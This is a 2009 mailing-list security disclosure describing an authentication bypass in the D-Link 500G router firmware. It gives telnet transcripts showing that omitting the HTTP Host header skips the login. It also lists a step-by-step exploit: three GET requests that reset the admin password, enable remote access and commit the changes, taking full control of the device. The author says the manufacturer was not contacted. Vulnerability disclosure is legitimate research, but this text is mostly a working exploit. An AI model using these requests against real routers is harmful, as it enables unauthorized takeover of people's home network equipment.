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D-Link 500G Authentication Bypass

From: Jardel Weyrich <jweyrich () gmail com>
Date: Mon, 24 Aug 2009 10:20:18 -0300

D-LINK 500G AUTHENTICATION BYPASS

SUMMARY
There is an authentication bypass vulnerability in D-Link 500G that allows
an attacker to take full control over the device.
Remote access is disabled by default, so the attacker is required to be on
the local network.
The bypass can be triggered sending a HTTP request without the HOST header.

$ telnet 192.168.0.1 80
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
GET / HTTP/1.1
Host: 192.168.0.1
Connection: close

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic Realm="DSL-500G"
Content-type: text/html
Content-length: 111

<html><head><title>401 Unauthorized Access</title></head><body><h1>401
Unauthorized Access</h1></body></html>
Connection closed by foreign host.

$ telnet 192.168.0.1 80
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
GET / HTTP/1.1
Connection: close

HTTP/1.1 302 Document Follows
Location: /hag/pages/home.ssi

Connection closed by foreign host.

AFFECTED PRODUCTS
Confirmed in D-Link 500G Firmware R2.01.B9.EU(030917a/T93.3.44).
Haven't tested in other devices and version.

SOLUTION
The manufacturer has not been contacted. Don't complain on me.

EXPLOIT
1. Reset the admin password: GET
/Action?cmdSubmit=Submit&ex_param1=admin&id=3&new_pass1=admin&new_pass2=admin&old_pass=admin&user=admin
HTTP/1.0
2. Enable remote access: GET /Action?cmdSubmit=Submit&remote=0&id=83
HTTP/1.0
3. Commit changes: GET /Action?cmdCommit=Commit&reboot_loc=0&id=4 HTTP/1.0

CREDITS
Discovered by Jardel Weyrich <jweyrich at gmail dot com>.

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